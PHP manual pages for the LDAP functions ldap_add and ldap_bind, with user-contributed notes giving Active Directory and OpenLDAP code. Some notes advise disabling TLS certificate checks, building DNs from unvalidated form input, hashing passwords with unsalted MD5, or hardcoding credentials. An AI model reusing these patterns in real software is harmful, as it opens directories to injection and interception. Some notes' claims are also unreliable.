8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].

注释

Note: 此函数可安全用于二进制对象。

参见

  • ldap_add() - Add entries to LDAP directory
  • ldap_parse_result() - Extract information from result

User Contributed Notes

There are no user contributed notes for this page.


Add entries to LDAP directory

  • ? ldap_add_ext
  • ldap_bind_ext ?
  • PHP Manual
  • LDAP 函数
  • Add entries to LDAP directory

ldap_add

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_add — Add entries to LDAP directory

说明

ldap_add(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Add entries in the LDAP directory.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

The distinguished name of an LDAP entity.

entry

An array that specifies the information about the entry. The values in the entries are indexed by individual attributes. In case of multiple values for an attribute, they are indexed using integers starting with 0.

<?php
$entry["attribute1"] = "value";
$entry["attribute2"][0] = "value1";
$entry["attribute2"][1] = "value2";
?>

controls

Array of LDAP Controls to send with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

示例

Example #1 Complete example with authenticated bind

<?php
$ds = ldap_connect("localhost"); // assuming the LDAP server is on this host

if ($ds) {
// bind with appropriate dn to give update access
$r = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");

// prepare data
$info["cn"] = "John Jones";
$info["sn"] = "Jones";
$info["objectclass"] = "person";

// add data to directory
$r = ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);

ldap_close($ds);
} else {
echo "Unable to connect to LDAP server";
}
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • ldap_add_ext() - Add entries to LDAP directory
  • ldap_delete() - Delete an entry from a directory

User Contributed Notes

Baumkuchen.TH 19-Nov-2018 06:40
Create Group in Active Directory

<?php
$ds = ldap_connect("IP-server/localhost");
$base_dn = "CN=Group name,OU=Organization Unit,DC=Domain-name,DC=com";//distinguishedName of group

if ($ds) {
// bind with appropriate dn to give update access
ldap_bind($ds, "CN=Administrator,OU=Organization Unit,DC=Domain-name,DC=com", "some-password");

//Add members in group
$member_array = array();
$member_array[0] = "CN=Administrator,OU=Organization Unit,DC=Domain-name,DC=com";
$member_array[1] = "CN=User,OU=Organization Unit,DC=Domain-name,DC=com";

$entry["cn"] = "GroupTest";
$entry["samaccountname"] = "GroupTest";
$entry["objectClass"] = "Group";
$entry["description"] = "Group Test!!";
$entry["member"] = $member_array;
$entry["groupType"] = "2";//GroupType="2" is Distribution / GroupType="1" is Security

ldap_add($ds,$base_dn,$entry);

ldap_close($ds);
} else {
echo "Unable to connect to LDAP server";
}
?>
Igor2i 05-Sep-2013 07:37
Решил добавить специально для русскоязычных пользователей.
У меня сервер на Gentoo с поддержкой кириллици в кодировке UTF-8.
И при вводе через форму кириллицы выдавал ошибку синтаксиса.
Решение проблемы:
1) код требуется перекодировать в UTF-8 без BOM
2) и в начале кода вставить строку
<?php
header('Content-Type: text/html; CHARSET=gb2312');
?>
paul90brown at gmail dot com 14-Jan-2013 07:04
I kept getting "Object Class Violation" when I tried adding posixAccount and shadowAccount as an objectclass. It turned out that these object classes had a lot of required fields that I was not adding. You may need to export a working user (if you have phpLDAPadmin) and see exactly what fields they have, then try to copy it exactly in the script. It also doesn't hurt if you make everything an Array the first time around, you can fix those fields later.
sergioshev 22-Apr-2008 10:29
once i'am having problmes to add attributes with boolean syntax (1.3.6.1.4.1.1466.115.121.1.7)

$['boolean_attr']=true; //give me one warning, ldap_add(): Add: Invalid syntax

solved this by setting the value on this:

$['boolean_attr']='TRUE';

hope this can helps.
phil at networkalliance dot com 14-Feb-2008 09:24
I created a simple function that can be called to create global distribution groups in Active Directory:

<?php
function ldap_createGroup($object_name, $dn, $members, $ldap_conn)
{
    $addgroup_ad['cn']="$object_name";
    $addgroup_ad['objectClass'][0] = "top";
    $addgroup_ad['objectClass'][1] ="group";
    $addgroup_ad['groupType']="2";
    $addgroup_ad['member']=$members;
    $addgroup_ad["sAMAccountName"] =$object_name;

    ldap_add($ldap_conn,$dn,$addgroup_ad);

    if(ldap_error($ldap_conn) == "Success")
      return true;
    else
      return false;
}
?>

You can call this function using the follow code:

<?php
$ldap_conn = ldap_bind();
$object_name="Test Group";
$dn="CN=".$object_name.",OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User1,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User2,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";

ldap_createGroup($object_name, $dn, $members, $ldap_conn);
?>

The other function I created is ldap_bind(), and this can be used to bind to an LDAP server:

<?php
function ldap_bind()
{
  $ldap_addr = '192.168.1.1';  // Change this to the IP address of the LDAP server
  $ldap_conn = ldap_connect($ldap_addr) or die("Couldn't connect!");
  ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
  $ldap_rdn = "domain_name\\user_account";
  $ldap_pass = "user_password";

  // Authenticate the user against the domain controller
  $flag_ldap = ldap_bind($ldap_conn,$ldap_rdn,$ldap_pass);
  return $ldap_conn;
}
?>
stian 01-Nov-2007 06:27
This solution works for us.
In the form the CN and pwdtxt are randomly generated from strict rules.
This script creates 50-60 users i AD pr.day! and never even had a glitch!

<?php
## From form
$CN = $_POST['CN'];
$givenName = $_POST['givenName'];
$SN = $_POST['SN'];
$mail = $_POST['mail'];
$Phone = $_POST['Phone'];
$pwdtxt = $_POST['pwdtxt'];

$AD_server = "localhost:390"; // Local Stunnel --> http://www.stunnel.org/
$AD_Auth_User = "administrator@student.somwhere.com"; //Administrative user
$AD_Auth_PWD = "duppiduppdupp"; //The password

$dn = 'CN='.$CN.',OU=Brukere,DC=student,DC=somwhere,DC=com';

## Create Unicode password
$newPassword = "\"" . $pwdtxt . "\"";
$len = strlen($newPassword);
$newPassw = "";

for($i=0;$i<$len;$i++) {
    $newPassw .= "{$newPassword{$i}}\000";
}

## CONNNECT TO AD
$ds = ldap_connect($AD_server);
if ($ds) {
    ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); // IMPORTANT
    $r = ldap_bind($ds, $AD_Auth_User, $AD_Auth_PWD); //BIND

    $ldaprecord['cn'] = $CN;
    $ldaprecord['givenName'] = $givenName;
    $ldaprecord['sn'] = $SN;
    $ldaprecord['objectclass'][0] = "top";
    $ldaprecord['objectclass'][1] = "person";
    $ldaprecord['objectclass'][1] = "organizationalPerson";
    $ldaprecord['objectclass'][2] = "user";
    $ldaprecord['mail'] = $mail;
    $ldaprecord['telephoneNumber'] = $Phone;
    $ldaprecord["unicodepwd"] = $newPassw;
    $ldaprecord["sAMAccountName"] = $CN;
    $ldaprecord["UserAccountControl"] = "512";
//This is to prevent the user from beeing disabled. -->
http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

    $r = ldap_add($ds, $dn, $ldaprecord);

} else {
    echo "cannot connect to LDAP server at $AD_server.";
}

?>

This is code example creates a user i AD.
We use this on an internal web page to create
temporary users that kan access the wireless network.
We have a .pl script that deletes the users after 24H.
Willie 15-Aug-2007 02:16
In response to:
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
--

I have found that if I have a special character (or a newline) that ldap_add and ldap_modify will automatically do the base64 encoding for you.  For example:

<?php
// assuming binding is done, etc.
$entry['postalAddress'] = "123 East 456 West\nSuite A103";
ldap_modify($ds, $dn, $entry);
?>

The function or server will take the newline and convert it into base64 automatically (same goes for other special characters).

You may be able to verify by using a command-line ldapsearch
ldapsearch -b "dc=example,dc=com" -x "(cn=Example Person)" postalAddress

You'll see that the result comes up as
dn: cn=Example Person,dc=example,dc=com
postalAddress:: MTIzIEVhc3QgNDU2IFdlc3QKU3VpdGUgQTEwMw==

See the double colons after postal address?  That's how LDAP states it's base64 encoded in this case.
damien at groovey dot com 19-Dec-2006 02:08
Here is how to add a user with a hashed MD5 password to OpenLDAP.  I used this technique to migrate Drupal accounts into OpenLDAP for a single-sign-on solution.

The trick to it is to tell OpenLDAP the hash type (e.g. {MD5}) before the password, and also to base64 encode the BINARY hashed result.  You cannot just base64 encode what is returned by PHP's md5() or sha() hash functions, because they return a hexadecimal text string.  First you must use pack("H*", $hash_result) to make that a binary string, THEN you can base64 encode it.

Here is complete code for connecting and adding a user with a hashed password.  You don't have to use {MD5}, you could pick a different hash if that is what you have.  The output from one of these hashed passwords will look like this:  {md5}bdwD04RS9xMDGVi1n/H36Q==

Finally some caveats:  This technique will not work if you hashed the password using a salt value (but Drupal does not).  This technique will also certainly not work with active directory, where passwords can definitely only be set over SSL connections and hashing probably works differently.

---- snip ----

$ds = ldap_connect($serverAddress);
if ($ds) {
  ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);  // otherwise PHP defaults to ldap v2 and you will get a Syntax Error!
  $r = ldap_bind($ds, $managerDN, $managerPassword);
  $ldaprecord['cn'] = $newuser_username;
  $ldaprecord['givenName'] = $newuser_firstname;
  $ldaprecord['sn'] = $newuser_surname;
  // put user in objectClass inetOrgPerson so we can set the mail and phone number attributes
  $ldaprecord['objectclass'][0] = "person";
  $ldaprecord['objectclass'][1] = "organizationalPerson";
  $ldaprecord['objectclass'][2] = "inetOrgPerson";
  $ldaprecord['mail'] = $newuser_email_address;
  $ldaprecord['telephoneNumber'] = $newuser_phone_number;
  // and now the tricky part, base64 encode the binary hash result:
  $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',$newuser_md5hashed_password));
  // If you have the plain text password instead, you could use:
  // $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',md5($newuser_plaintext_password)));
  $r = ldap_add($ds, $base_user_dn, $ldaprecord);
} else { die "cannot connect to LDAP server at $serverAddress."; }
chad dot smith at 50marketing dot com 29-Sep-2005 02:56
I took spam2004 at turniton dot dk example and made it a bit better.  Maybe my setup was a bit different but either way here is how I added a group in Microsoft Windows Server 2003.

<?php
// Connect using ldap_connect
// Bind using ldap_bind
// Set LDAP_OPT_PROTOCOL_VERSION to 3
$member_array = array();
$member_array[0] = "cn=user1,cn=Users,dc=yourdomain,dc=com";
$member_array[1] = "cn=administrator,cn=Users,dc=yourdomain,dc=com";

$addgroup_ad["cn"] = "testgroup";
$addgroup_ad["samaccountname"] = "testgroup";
$addgroup_ad["objectClass"] = "Group";
$addgroup_ad["description"] = "Yep just a test.";
$addgroup_ad["member"] = $member_array;
$base_dn = "cn=testgroup,cn=Users,DC=yourdomain,DC=com";
ldap_add($ldap_conn,$base_dn,$addgroup_ad);
// This is it.
?>

Take care and good luck,
Chad R. Smith
theiderich AT laweekly dot com 15-Jul-2005 10:19
When adding/editing attributes for a user, keep in mind that the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
micattack+phpnet at gmail dot com 02-May-2005 06:32
When getting the dreaded invalid syntax, it helps turning on debugging in ldap. Looking at /var/log/ldap, gets you things like

May  2 13:51:21 tux slapd[12985]: conn=4934 op=1 RESULT tag=105 err=21 text=phpgwtz: value #0 invalid per syntax
May  2 13:52:02 tux slapd[12697]: No objectClass for entry (uid=1, ou=adressen, dc=...
hp at syntomax dot com 28-Oct-2004 06:31
Another fun thing: ldap_add() doesn't like arrays with empty members: so
array (
      [cn] = "name"
      [key] = ""
      [anotherkey] = "value"
)
will yield a syntax error!

solve this with a simple peice of code:

foreach ($originalobject as $key => $value){
        if ($value != ""){
                $object[$key] = $value;
        }
}

where $originalobject is the uncecked array and $object is the one without empty members.
amcnabb 21-Oct-2004 02:37
Be careful with types.  PHP switches automatically between strings and numbers, but LDAP doesn't, and PHP will send whatever is most convenient for PHP, not LDAP, unless you specify a type.

If you inadvertently send a number as a string, you will get an error: "ldap_add(): Add: Invalid syntax in [filename] on line LINENUM."

Observe this example which makes an array to send to LDAP to create a POSIX group.  Note that $new_groupid, which is technically a string, must be typecast with (int).

         $new_ldap_group['cn'] = $groupname;
         $new_ldap_group['objectclass'][0] = 'posixgroup';
         $new_ldap_group['objectclass'][1] = 'top';
         $new_ldap_group['gidnumber'] = (int) $new_groupid;
spam2004 at turniton dot dk 04-Oct-2004 04:06
To add a group in Windows AD..
$object_name="testgroup2";
$members[]="CN=THU,ou=Users,dc=addomain,dc=domain,dc=dk";
$members[]="CN=testgroup2,ou=Groups,dc=addomain,dc=domain,dc=dk";
$addgroup_ad['cn']="$object_name";
$addgroup_ad['objectClass'][0] = "top";
$addgroup_ad['objectClass'][1] ="group";
$addgroup_ad['descripton']=$object_description;
$addgroup_ad['member']=$members;
$addgroup_ad["sAMAccountName"] =$object_name;

// notice param 2 (dn) will probably be different
$dn="cn=".$object_name.",ou=Groups,dc=addomain,dc=domain,dc=dk";
ldap_add($ldapc,$dn,$addgroup_ad);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 06:49
IF you need use national characters (iso 8859-2,8 etc.) it's good way to use  ldap_set_option.
It was hard job to find where is a bug ;-))). I hope that helps somebody.

 ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 04:58
jharnett at artschool dot com:
For active user in AD u must change "useraccountcontrol" to 512, 512 = enabled, 514 = disabled
Andrew (a.whyte at cqu.edu.au) 24-Sep-2003 07:49
In reference to the questions about Account Enabling, you can use the table found at Microsoft's Support site to help with these attributes.

You are correct that '2' is the Account Disabled flag, but there are others, which allow you to detect/set password force expiry and the like.

Hope this URL is usefull for that:

http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

Cheers.
John Van Atta 19-May-2003 06:52
In response to jharnett's question about accounts disabled by default from ldap_add, we have found a solution.

The attribute userAccountControl contains a value that includes whether the account is disabled or enabled. The default for us is 546; when we changed that to 544 the account became enabled. Changing whatever value is in userAccountControl by 2 seems to enable or disable the account.

The following code worked for us to create a new user with an enabled account:

$adduserAD["userAccountControl"] = "544";

We just added this element to the above example's array.
Axel D. (FRANCE) 04-Mar-2003 08:26
Try this script if you don't know how to add an user in the AD Win2K.
To have more informations about the attributes, open the adsiedit console in the Support Tools for Win2K.

$adduserAD["cn"][0] =
$adduserAD["instancetype"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["objectclass"][0] = "top";
$adduserAD["objectclass"][1] = "person";
$adduserAD["objectclass"][2] = "organizationalPerson";
$adduserAD["objectclass"][3] = "user";
$adduserAD["displayname"][0] =
$adduserAD["name"][0] =
$adduserAD["givenname"][0] =
$adduserAD["sn"][0] =
$adduserAD["company"][0] =
$adduserAD["department"][0] =
$adduserAD["title"][0] =
$adduserAD["description"][0] =
$adduserAD["mail"][0] =
$adduserAD["initials"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["userprincipalname"][0] =
$adduserAD["profilepath"][0] =
$adduserAD["manager"][0] = ***Use DistinguishedName***

if (!($ldap = ldap_connect("localhost"))) {
     die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, "user@pc.com", $password))) {
     die ("Could not bind to the LDAP account");
}
if (!(ldap_add($ldap, "CN=New User,OU=OU Users,DC=pc,DC=com", $adduserAD))){
     echo "There is a problem to create the account
     echo "Please contact your administrator !";
     exit;
}
ldap_unbind($ldap);
jharnett at artschool dot com 22-Oct-2002 02:43
For some wacky reason, when the new account is added using ldap_add(), the account is set to "inactive".
And from what I can see there is no modifiable attribute to "re-enable" that user. I suppose by default, if the specific flags are not set the default values are used. Anyone that has a fix for this, please post, I'm pulling out what little hair I have left.
del at babel dot com dot au 23-Jun-2002 09:55
If you need to add an attribute that is binary encoded (eg: userCertificate), then you need to add the ";binary" specification at the end of the field name.

eg:

$info["userCertificate;binary"] = $myBinaryCert;
$ldap_add ...

Del
titus dot stahl at experts4 dot com 30-Aug-2001 06:53
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
akohlsmith at mixdown dot org 12-Sep-1999 04:48
ldap_add() will only honour the $entry["attribute"][x]="value" *if there are multiple values for the attribute*.  If there is only one attribute value, it *MUST* be entered as $entry["attribute"]="value" or ldap_add() sets the value for the attribute to be "Array" instead of what you put into $entry["attribute"][0].

Here is a little routine I wrote up to do this automatically.  when you're parsing the input, just use multi_add():
<?php
function multi_add($attribute, $value)
{
 global $entry;                                // the LDAP entry you're gonna add

 if(isset($entry[$attribute]))
   if(is_array($entry[$attribute]))
     $entry[$attribute][count($entry[$attribute])] = $value;
   else
     {
     $tmp = $entry[$attribute];
     unset($entry[$attribute]);
     $entry[$attribute][0] = $tmp;
     $entry[$attribute][1] = $value;
     }
 else
   $entry[$attribute] = $value;
}
?>
multi_add() checks to see if there is already a value for the attribute.  if not, it adds it as $entry[$attribute]=$value.  If there is already a value for the attribute, it converts the attribute to an array and adds the multiple values correctly.

How to use it:
<?php
switch($form_data_name)
      {
      case 'phone': multi_add("telephoneNumber", $form_data_value); break;
      case 'fax': multi_add("facsimileTelephoneNumber", $form_data_value); break;
      case 'email': multi_add("mail", $form_data_value); break;
      ...
      }
?>
In the system I designed the form has pulldowns with names ctype1, ctype2, ctype3, etc. and the values are "fax, mail, phone...".  The actual contact data (phone number, fax, email, etc) is contact1, contact2, contact3, etc.  The user pulls down what the contact type is (phone, email) and then enters the data (number, address, etc.)

I use variable variables to fill the entry and skip blanks.  Makes for a very clean form entry system.  email me if you're interested in it, as I think I'm outgrowing the size of note allowed here.  :-)


Bind to LDAP directory

  • ? ldap_add
  • ldap_bind ?
  • PHP Manual
  • LDAP 函数
  • Bind to LDAP directory

ldap_bind_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_bind_ext — Bind to LDAP directory

说明

ldap_bind_ext(
LDAP\Connection $ldap,
?string $dn = null,
?string $password = null,
?array $controls = null
): LDAP\Result|false

Does the same thing as ldap_bind() but returns an LDAP\Result instance to be parsed with ldap_parse_result().

参数

See ldap_bind()

返回值

Returns an LDAP\Result instance, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].

参见

  • ldap_bind() - 绑定 LDAP 目录
  • ldap_parse_result() - Extract information from result

User Contributed Notes

There are no user contributed notes for this page.


绑定 LDAP 目录

  • ? ldap_bind_ext
  • ldap_close ?
  • PHP Manual
  • LDAP 函数
  • 绑定 LDAP 目录

ldap_bind

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_bind — 绑定 LDAP 目录

说明

ldap_bind(LDAP\Connection $ldap, ?string $dn = null, ?string $password = null): bool

使用指定的 RDN 和密码绑定到 LDAP 目录。

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

password

如果没有指定 password 或为空，将会以匿名身份绑定。dn 也可以为空，用于匿名绑定。这在 https://tools.ietf.org/html/rfc2251#section-4.2.2 中有定义。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

示例

Example #1 使用 LDAP Bind

<?php

// using ldap bind
$ldaprdn = 'uname'; // ldap rdn or dn
$ldappass = 'password'; // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap://ldap.example.com")
or die("Could not connect to LDAP server.");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
echo "LDAP bind successful...";
} else {
echo "LDAP bind failed...";
}

}

?>

Example #2 Using LDAP Bind Anonymously

<?php

//using ldap bind anonymously

// connect to ldap server
$ldapconn = ldap_connect("ldap://ldap.example.com")
or die("Could not connect to LDAP server.");

if ($ldapconn) {

// binding anonymously
$ldapbind = ldap_bind($ldapconn);

if ($ldapbind) {
echo "LDAP bind anonymous successful...";
} else {
echo "LDAP bind anonymous failed...";
}

}

?>

参见

  • ldap_bind_ext() - Bind to LDAP directory
  • ldap_unbind() - Unbind from LDAP directory

User Contributed Notes

Christian Stoller 19-Sep-2023 09:09
When using LDAP with SSL and a LDAP server which uses a self-signed SSL certificate the connection may fail with the error "Can't contact LDAP server". To make the connection work, use the options to point to the public cert file (see https://www.php.net/manual/en/ldap.constants.php).

Alternatively you can disable the certification check. But keep in mind that this is a security risk if the connection is routed over a public network!

This is achieved by:

<?php
$ds = ldap_connect('ldaps://myhost:636');
ldap_bind($ds, '{your_ldap_dn}', '{your_ldap_password}')
ldap_set_option($ds, LDAP_OPT_X_TLS_REQUIRE_CERT, LDAP_OPT_X_TLS_ALLOW);
?>
php at richardneill dot org 27-Jul-2022 05:33
LDAPS over SSH port forwarding.
It may be that, when developing/debugging, you don't have direct access to the LDAP server.  You can use SSH port-forwarding, but you need to disable the cert checks temporarily. Here's the easiest way to do it.

//Enable debugging, so you can see what's failing.
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL,7);

//Disable the TLS certificate check (it will mismatch on the domain). Either
//edit /etc/ldap/ldap.conf and set "TLS_REQCERT never", or in your script:
putenv('LDAPTLS_REQCERT=never');

//Point your ldaps url at localhost. E.g.
$ldap_url = "ldaps://localhost:63600";

//Do the SSH port forward (in another terminal). E.g.
ssh -L 63600:your_real_ldap_server:636 your_proxy_server

//And continue as normal...
ldap_connect($ldap_url);
peter dot mlich at volny dot cz 05-Jun-2020 07:07
Example code from my ldap class.
this->query i send notes under ldap_search function documentation.

public function queryUserLogin($user_name='', $user_psw='', $tls_bool=true) // na localhostu pouzit tls=false
    {
    var_dump('queryUserLogin');
//$tls_bool = false;    // for localhost
    $fn     = 'queryUser';
    $config = $this->config;
    $conn   = $this->conn;
    if (!$conn)
        {return $this->errorConnection($fn);}
    // user - exist name?
    $user_name = $this->escapeValue($user_name);
    $user_psw  = $this->escapeValue($user_psw);
    $filter = "(&(objectclass=person)(cn=".$user_name."))";
//var_dump($filter);
    $att    = array('dn');
    $data   = $this->query($filter, $att, 2, true);
    if ($data===false)
        {
        $this->error("User error, nenalezen v ldap!");
        $this->disconnect();
        return false;
        }
    // user - exist user in LDAP (name, psw)
    $user = is_array($data) && isset($data[0]) && isset($data[0]['dn']) ? $data[0]['dn'] : '';    // "cn=mynickname,ou=users,o=su"
    $psw  = $user_psw;
    if ($user=='' || $psw=='')
        {
        $this->error("User error, prazdne prihlasovaci udaje!");
        $this->disconnect();
        return false;
        }
    if ($tls_bool==true)
        {
        if (ldap_start_tls($conn))    //php7
            {
            $result = @ldap_bind($conn, $user, $psw);
            }
        else    {
            $this->error("Unable to start TLS!");  // SSL encrypt protocol, certificate, deprecated?
            }
        }
    else    {
        $result = @ldap_bind($conn, $user, $psw);
        }
    if ($result==false)
        {
        $this->error("Bind user error! bindDN = ".$user);    //".ldap_error($conn)."
        $this->disconnect();
        return false;
        }
    // user - get user info, bind to ldap user with more permitions and get data (login to intercon user)
    $user   = $config['userInterconDn'];
    $psw    = $config['userInterconPsw'];
    if ($tls_bool==true)
        {
        if (ldap_start_tls($conn))    //php7
            {
            $result = ldap_bind($conn, $user, $psw);
            }
        else    {
            $this->error("Unable to start TLS!");  // SSL encrypt protocol, certificate, deprecated?
            }
        }
    else    {
        $result = ldap_bind($conn, $user, $psw);
        }
    if ($result==false)
        {
        $this->error("Bind user intercon error!");    // . ldap_error($conn) !Nezobrazovat jmeno usera interconu
        $this->out = array(
            'uid'         => $user
            );
        return true;
        }
    // search user data
    $filter = "(&(objectclass=person)(cn=" . $user_name . "))";
//var_dump($filter);
    $att    = array(
        'uid',
        'workforceID',
        'employeeID',
        'givenName',
        'sn',
        'mail'
        );
    $data   = $this->query($filter, $att, 2, true);
       // get data from ldap entires structure
    $this->out = array(
        'uid'         => $this->dataGetValue($data, 'uid'        , ''),
        'workforceID' => $this->dataGetValue($data, 'workforceid', ''),
        'employeeID'  => $this->dataGetValue($data, 'employeeid' , ''),
        'givenName'   => $this->dataGetValue($data, 'givenname'  , ''),
        'sn'          => $this->dataGetValue($data, 'sn'         , ''),    // prijmeni
        'mail'        => $this->dataGetValue($data, 'mail'       , '')    // mail
        );
    $this->conn = $conn;
    return true;
    }
Victor 11-Sep-2019 10:42
(Correction)
ldap_bind does return TRUE if the password is expired or needs to be reset, use ldap_get_option if ldap_bind returns FALSE

<?php

define("EXPIRED_PASSWORD", 532);
define("PASSWORD_RESET", 773);

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if (!$bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
            $errno = explode(',', $extended_error)[2];
            $errno = explode(' ', $errno)[2];
            $errno = intval($errno);

            if ($errno === EXPIRED_PASSWORD) {
                $err = 'Unable to login: Password expired';
            } else if ($errno === PASSWORD_RESET) {
                $err = 'Unable to login: Password needs to be reset';
            } else {
                $err = $extended_error;
            }
            if ($errno === EXPIRED_PASSWORD || $errno === PASSWORD_RESET) {
               #Change password
            }
        }
}
?>
nelson777 at gmail dot com 09-Jul-2018 05:12
I tried the solution above from user_o at hbt dot com about timeout and couldn't make it work. Initially I tried the following:

$this->conn = @ldap_connect($ip, $port);
ldap_set_option($this->conn, LDAP_OPT_NETWORK_TIMEOUT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMELIMIT, 10);
@ldap_bind($this->conn, $ldapUser, $ldapPwd);

but if the server didn't respond the request locked at this point.
Then using code-completion I found there is a hidden LDAP option: LDAP_OPT_TIMEOUT

so changing the code to:

$this->conn = @ldap_connect($ip, $port);
ldap_set_option($this->conn, LDAP_OPT_NETWORK_TIMEOUT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMELIMIT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMEOUT, 10);
@ldap_bind($this->conn, $ldapUser, $ldapPwd);

finally made ldap binding timeout correctly.
RazmanAlias 25-Mar-2017 11:57
I use PHP 7.1.*. In this version ldap_bind will throw a RuntimeException if it fails to bind. I've tried with wrong host name, correct host and wrong password,  correct host and invalid DN syntax. All fail conditions seems to throw RuntimeException.

 So this function probably doesn't return false.
info at multiotp dot net 24-Dec-2015 04:15
GnuTLS and SChannel (Microsoft) implementations are not (yet) compatible for TLS 1.2 negotiation during LDAPS binding (when binding with Microsoft Windows 2012R2 server).

The trick is to disable TLS1.2 before using LDAP functions:

putenv('LDAPTLS_CIPHER_SUITE=NORMAL:!VERS-TLS1.2');
john dot doe at somewhere dot org 20-Jun-2014 05:53
In some structures its not possible to know the dn or rdn up front. However one can use $ldapuser= $samaccountname.'@'.domainname;
deniskutin at gmail dot com 11-Jul-2012 12:07
It's nessesary to add:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
?>

for ldap_bind returned true, while you try to bind for openldap (at least version 2.4.21)
peter dot schlaf at web dot de 20-Jun-2012 12:43
I had a problem doing a ldap_bind over SSL against Active Directory. The server kept telling me: 'Unable to bind to server:'. To solve this (OS: CentOS 6) make sure that /etc/openldap/ldap.conf has this line:

TLS_REQCERT allow
IanB 03-Jan-2012 12:38
If you're using SSL (e.g. ldaps) and ldap_bind is throwing 'Unable to bind to server:' errors, check that the hostname used in the ldap_connect matches the 'CN' in the SSL certificate on the LDAP server. For example:

<?
   ldap_connect('ldaps://ldap01');
  // 'ldap01' should match the CN in your LDAP server's SSL cert, otherwise the subsequent ldap_bind() will throw a bind error

?>

You can check your LDAP server's SSL cert using Openssl utility (Linux) - look for the 'Subject' line:

   $ openssl x509 -in /etc/pki/tls/certs/ldap01.crt -text -noout
   ...
        Subject: C=XY, ST=My State, L=My City, O=My Org, CN=ldap01/emailAddress=me@domain.com
   ...

I recently applied some updates to my system (now Centos 5.7 and PHP 5.3.6) and started having this issue with PHP scripts that had been fine previously where I was simply using the IP address of the server. Replacing the IP address with the hostname fixed my issue.
marnijt at LIKEHAM dot gmail dot com 01-Sep-2011 04:46
After a lot of trail and error i've found the way to authenticate to apple's Opendirectory (snow leopard server) and thought it maybe useful to share.

<?php
    // using ldap bind
    $ldaprdn  = 'uid=USERNAME,cn=users,dc=HOSTNAME,dc=DOMAIN,dc=com';     // ldap rdn or dn
    $ldappass = 'PASSWORD';  // associated password

    // connect to ldap server
    $ldapconn = ldap_connect("HOSTNAME.DOMAIN.com")
            or die("Could not connect to LDAP server.");

    // Set some ldap options for talking to
    ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldapconn, LDAP_OPT_REFERRALS, 0);

    if ($ldapconn) {

            // binding to ldap server
            $ldapbind = @ldap_bind($ldapconn, $ldaprdn, $ldappass);

            // verify binding
            if ($ldapbind) {
                echo "LDAP bind successful...\n";
            } else {
                echo "LDAP bind failed...\n";
            }

    }

?>
bydand1959 at yahoo dot com 24-Jul-2011 04:16
LDAP control support is missing from this implementation. Response controls might be part of the response(s) to the BIND request and must be handled in code.
gtkspert_SPAMMENOT_ at gmail dot com 21-Mar-2011 05:31
Interesting point,

if you can't bind to active directory with the error "49: Invalid Credentials", you can get the extended error output from the ldap_get_option function, using the option: LDAP_OPT_DIAGNOSTIC_MESSAGE. Unfortunately php hasn't defined this by default, but it's value is 0x0032.

This is useful if a user must change their password at first login (Data: 773), or if their account has expired on the network (Data: 532).

<?php

